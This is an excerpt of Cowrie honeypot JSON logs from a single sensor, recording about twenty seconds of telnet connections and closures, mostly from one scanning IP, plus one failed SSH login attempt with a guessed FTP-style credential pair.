{"eventid":"cowrie.session.closed","duration":31.896406888961792,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:56.538597Z","src_ip":"23.111.140.22","session":"74a24bbb7348","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":57396,"dst_ip":"10.17.0.5","dst_port":23,"session":"62e39f8aeb8e","protocol":"telnet","message":"New connection: 23.111.140.22:57396 (10.17.0.5:23) [session: 62e39f8aeb8e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:56.578092Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38718,"dst_ip":"10.17.0.5","dst_port":23,"session":"102e4989952b","protocol":"telnet","message":"New connection: 23.111.140.22:38718 (10.17.0.5:23) [session: 102e4989952b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:56.778095Z"}
{"eventid":"cowrie.login.failed","username":"testftp","password":"testftp1234","message":"login attempt [testftp/testftp1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:57.001503Z","src_ip":"202.145.0.61","session":"481831b0a379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.48198699951172,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:57.268496Z","src_ip":"23.111.140.22","session":"e67aa4260918","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.316532850265503,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:57.485170Z","src_ip":"23.111.140.22","session":"64011ffc0ac3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.825289011001587,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:57.588901Z","src_ip":"23.111.140.22","session":"e2871f239d30","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.738351345062256,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:57.660447Z","src_ip":"23.111.140.22","session":"0702644e5143","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.793557167053223,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:58.190244Z","src_ip":"174.138.46.234","session":"540926c24c17","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:58.245172Z","src_ip":"202.145.0.61","session":"481831b0a379","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.19670867919922,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:58.496275Z","src_ip":"23.111.140.22","session":"bb02c631677b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47978,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d1f1d2ddc60","protocol":"telnet","message":"New connection: 23.111.140.22:47978 (10.17.0.5:23) [session: 4d1f1d2ddc60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:58.728590Z"}
{"eventid":"cowrie.session.closed","duration":31.18696093559265,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:58.844035Z","src_ip":"23.111.140.22","session":"f4482379a452","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.457976818084717,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:59.035063Z","src_ip":"23.111.140.22","session":"71b653050662","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.69819355010986,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:59.228442Z","src_ip":"23.111.140.22","session":"7d88e5927e8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.41098165512085,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:59.232939Z","src_ip":"23.111.140.22","session":"efd2d81ed6f3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40476,"dst_ip":"10.17.0.5","dst_port":23,"session":"392e9bd1b2f6","protocol":"telnet","message":"New connection: 23.111.140.22:40476 (10.17.0.5:23) [session: 392e9bd1b2f6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:59.325222Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":42648,"dst_ip":"159.203.135.109","dst_port":23,"session":"f53a78ab9789","protocol":"telnet","message":"New connection: 174.138.46.234:42648 (159.203.135.109:23) [session: f53a78ab9789]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:59.770804Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48620,"dst_ip":"10.17.0.5","dst_port":23,"session":"e747fc1d9d5e","protocol":"telnet","message":"New connection: 23.111.140.22:48620 (10.17.0.5:23) [session: e747fc1d9d5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:22:59.921022Z"}
{"eventid":"cowrie.session.closed","duration":33.15702748298645,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:00.090861Z","src_ip":"23.111.140.22","session":"43f7ee49915a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":43156,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c51522e1dd4","protocol":"telnet","message":"New connection: 23.111.140.22:43156 (10.17.0.5:23) [session: 2c51522e1dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:00.111514Z"}
{"eventid":"cowrie.session.closed","duration":30.929616689682007,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:00.221953Z","src_ip":"23.111.140.22","session":"3cd3d522b5c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52852,"dst_ip":"10.17.0.5","dst_port":23,"session":"c899cfeaed2e","protocol":"telnet","message":"New connection: 23.111.140.22:52852 (10.17.0.5:23) [session: c899cfeaed2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:00.277780Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":49926,"dst_ip":"10.17.0.5","dst_port":23,"session":"d68ba4e108bc","protocol":"telnet","message":"New connection: 23.111.140.22:49926 (10.17.0.5:23) [session: d68ba4e108bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:00.387960Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":51624,"dst_ip":"10.17.0.5","dst_port":23,"session":"83428bb5f9c4","protocol":"telnet","message":"New connection: 23.111.140.22:51624 (10.17.0.5:23) [session: 83428bb5f9c4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:00.892906Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54968,"dst_ip":"10.17.0.5","dst_port":23,"session":"6fcf4a4e911f","protocol":"telnet","message":"New connection: 23.111.140.22:54968 (10.17.0.5:23) [session: 6fcf4a4e911f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:00.964486Z"}
{"eventid":"cowrie.session.closed","duration":32.76051568984985,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:01.467339Z","src_ip":"23.111.140.22","session":"100460191247","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":43128,"dst_ip":"159.203.135.109","dst_port":23,"session":"24f2e19d43a4","protocol":"telnet","message":"New connection: 174.138.46.234:43128 (159.203.135.109:23) [session: 24f2e19d43a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:01.562724Z"}
{"eventid":"cowrie.session.closed","duration":5.852949380874634,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:01.755229Z","src_ip":"174.138.46.234","session":"3911dd50f7a9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.773663997650146,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:02.053297Z","src_ip":"23.111.140.22","session":"710c4891160e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.972248792648315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:02.142820Z","src_ip":"23.111.140.22","session":"06ad48236018","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":58878,"dst_ip":"10.17.0.5","dst_port":23,"session":"c13f1e2571f8","protocol":"telnet","message":"New connection: 23.111.140.22:58878 (10.17.0.5:23) [session: c13f1e2571f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:02.224483Z"}
{"eventid":"cowrie.session.closed","duration":34.42668414115906,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:02.318072Z","src_ip":"23.111.140.22","session":"ccb47256c2ce","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60496,"dst_ip":"10.17.0.5","dst_port":23,"session":"214c6c24ae70","protocol":"telnet","message":"New connection: 23.111.140.22:60496 (10.17.0.5:23) [session: 214c6c24ae70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:02.758212Z"}
{"eventid":"cowrie.session.closed","duration":33.10951328277588,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:03.284991Z","src_ip":"23.111.140.22","session":"bbcd9988610a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":59150,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e5597caee85","protocol":"telnet","message":"New connection: 23.111.140.22:59150 (10.17.0.5:23) [session: 6e5597caee85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:03.336902Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":34550,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb6076110a07","protocol":"telnet","message":"New connection: 23.111.140.22:34550 (10.17.0.5:23) [session: cb6076110a07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:03.518883Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":33054,"dst_ip":"10.17.0.5","dst_port":23,"session":"fdf7078feb42","protocol":"telnet","message":"New connection: 23.111.140.22:33054 (10.17.0.5:23) [session: fdf7078feb42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:04.004252Z"}
{"eventid":"cowrie.session.closed","duration":34.61683654785156,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:04.540236Z","src_ip":"23.111.140.22","session":"37dcb1b3ebc8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39840,"dst_ip":"10.17.0.5","dst_port":23,"session":"f9a87e7306cd","protocol":"telnet","message":"New connection: 23.111.140.22:39840 (10.17.0.5:23) [session: f9a87e7306cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:05.083706Z"}
{"eventid":"cowrie.session.closed","duration":30.68776297569275,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:05.178165Z","src_ip":"23.111.140.22","session":"d077680d1945","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.79624104499817,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:05.203227Z","src_ip":"23.111.140.22","session":"99814545130b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":5.929330825805664,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:05.700027Z","src_ip":"174.138.46.234","session":"f53a78ab9789","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41692,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9e85a41977d","protocol":"telnet","message":"New connection: 23.111.140.22:41692 (10.17.0.5:23) [session: b9e85a41977d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:05.712504Z"}
{"eventid":"cowrie.session.closed","duration":31.452556848526,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:05.808579Z","src_ip":"23.111.140.22","session":"32d0b831976c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39718,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d08e0d7b48e","protocol":"telnet","message":"New connection: 23.111.140.22:39718 (10.17.0.5:23) [session: 4d08e0d7b48e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:06.033550Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":42916,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ef681af4c5e","protocol":"telnet","message":"New connection: 23.111.140.22:42916 (10.17.0.5:23) [session: 1ef681af4c5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:06.051319Z"}
{"eventid":"cowrie.session.closed","duration":30.77288269996643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:06.119649Z","src_ip":"23.111.140.22","session":"8db93a83fa29","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.26217341423035,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:06.467255Z","src_ip":"23.111.140.22","session":"d4b37e18c265","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44634,"dst_ip":"10.17.0.5","dst_port":23,"session":"99294c4c963a","protocol":"telnet","message":"New connection: 23.111.140.22:44634 (10.17.0.5:23) [session: 99294c4c963a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:06.599479Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38232,"dst_ip":"10.17.0.5","dst_port":23,"session":"dc43975a91c8","protocol":"telnet","message":"New connection: 23.111.140.22:38232 (10.17.0.5:23) [session: dc43975a91c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:06.722105Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47398,"dst_ip":"10.17.0.5","dst_port":23,"session":"60558f213206","protocol":"telnet","message":"New connection: 23.111.140.22:47398 (10.17.0.5:23) [session: 60558f213206]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:07.370788Z"}
{"eventid":"cowrie.session.closed","duration":5.941005229949951,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:07.503604Z","src_ip":"174.138.46.234","session":"24f2e19d43a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":52700,"dst_ip":"10.17.0.5","dst_port":23,"session":"c305dfa264f4","protocol":"telnet","message":"New connection: 23.111.140.22:52700 (10.17.0.5:23) [session: c305dfa264f4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:08.844993Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":53120,"dst_ip":"10.17.0.5","dst_port":23,"session":"6f182e89234a","protocol":"telnet","message":"New connection: 23.111.140.22:53120 (10.17.0.5:23) [session: 6f182e89234a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:08.923869Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":54132,"dst_ip":"10.17.0.5","dst_port":23,"session":"2c66c0dea132","protocol":"telnet","message":"New connection: 23.111.140.22:54132 (10.17.0.5:23) [session: 2c66c0dea132]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:09.277247Z"}
{"eventid":"cowrie.session.closed","duration":30.292234897613525,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:10.152787Z","src_ip":"23.111.140.22","session":"546a262e1cb6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50248,"dst_ip":"10.17.0.5","dst_port":23,"session":"1eab23ac1a1a","protocol":"telnet","message":"New connection: 23.111.140.22:50248 (10.17.0.5:23) [session: 1eab23ac1a1a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:10.179467Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":37308,"dst_ip":"10.17.0.5","dst_port":23,"session":"a0e3b4833d1f","protocol":"telnet","message":"New connection: 23.111.140.22:37308 (10.17.0.5:23) [session: a0e3b4833d1f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:10.562848Z"}
{"eventid":"cowrie.session.closed","duration":31.66002607345581,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:10.736596Z","src_ip":"23.111.140.22","session":"1c92106428d6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":50304,"dst_ip":"10.17.0.5","dst_port":23,"session":"50849429c9c3","protocol":"telnet","message":"New connection: 23.111.140.22:50304 (10.17.0.5:23) [session: 50849429c9c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:11.177858Z"}
{"eventid":"cowrie.session.closed","duration":30.884041786193848,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:12.059649Z","src_ip":"23.111.140.22","session":"502d6538b628","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":60018,"dst_ip":"10.17.0.5","dst_port":23,"session":"c8992380b192","protocol":"telnet","message":"New connection: 23.111.140.22:60018 (10.17.0.5:23) [session: c8992380b192]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:12.090270Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":35500,"dst_ip":"10.17.0.5","dst_port":23,"session":"dadbd3ed0b1b","protocol":"telnet","message":"New connection: 23.111.140.22:35500 (10.17.0.5:23) [session: dadbd3ed0b1b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:12.458143Z"}
{"eventid":"cowrie.session.closed","duration":32.47783017158508,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:12.765380Z","src_ip":"23.111.140.22","session":"54cbbe0dc891","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":90.20221877098083,"message":"Connection lost after 90 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:13.404400Z","src_ip":"23.111.140.22","session":"1dab75a8b2ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":47474,"dst_ip":"10.17.0.5","dst_port":23,"session":"05708b22d47d","protocol":"telnet","message":"New connection: 23.111.140.22:47474 (10.17.0.5:23) [session: 05708b22d47d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:13.444211Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":38804,"dst_ip":"10.17.0.5","dst_port":23,"session":"eed35dcc1367","protocol":"telnet","message":"New connection: 23.111.140.22:38804 (10.17.0.5:23) [session: eed35dcc1367]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:13.574213Z"}
{"eventid":"cowrie.session.closed","duration":33.632707595825195,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:13.659029Z","src_ip":"23.111.140.22","session":"ba2fd4f67c68","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":39180,"dst_ip":"10.17.0.5","dst_port":23,"session":"ce9cd218c793","protocol":"telnet","message":"New connection: 23.111.140.22:39180 (10.17.0.5:23) [session: ce9cd218c793]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:13.691512Z"}
{"eventid":"cowrie.session.closed","duration":31.404820203781128,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:13.849621Z","src_ip":"23.111.140.22","session":"7672a62d11c5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":46690,"dst_ip":"159.203.135.109","dst_port":23,"session":"192be1d8574d","protocol":"telnet","message":"New connection: 174.138.46.234:46690 (159.203.135.109:23) [session: 192be1d8574d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:14.053486Z"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":40374,"dst_ip":"10.17.0.5","dst_port":23,"session":"beabf956b008","protocol":"telnet","message":"New connection: 23.111.140.22:40374 (10.17.0.5:23) [session: beabf956b008]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:14.058096Z"}
{"eventid":"cowrie.session.closed","duration":30.851168870925903,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:14.105077Z","src_ip":"23.111.140.22","session":"8fa06ddb2584","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.17722201347351,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:14.188339Z","src_ip":"23.111.140.22","session":"e65fd77ab81f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.01305270195007,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:14.230922Z","src_ip":"23.111.140.22","session":"6f10b9a124f5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.423410415649414,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:14.337460Z","src_ip":"23.111.140.22","session":"c3079e18de37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.951075077056885,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:14.585353Z","src_ip":"23.111.140.22","session":"ce4f4e374cf7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":48301,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cb1f9a908a3","protocol":"telnet","message":"New connection: 23.111.140.22:48301 (10.17.0.5:23) [session: 0cb1f9a908a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:14.914502Z"}
{"eventid":"cowrie.session.closed","duration":32.758713483810425,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:14.996759Z","src_ip":"23.111.140.22","session":"cfe31b89de22","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.224077224731445,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:15.172953Z","src_ip":"23.111.140.22","session":"3a05dc4db414","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":44474,"dst_ip":"10.17.0.5","dst_port":23,"session":"2f73dfcab83a","protocol":"telnet","message":"New connection: 23.111.140.22:44474 (10.17.0.5:23) [session: 2f73dfcab83a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:23:15.557385Z"}
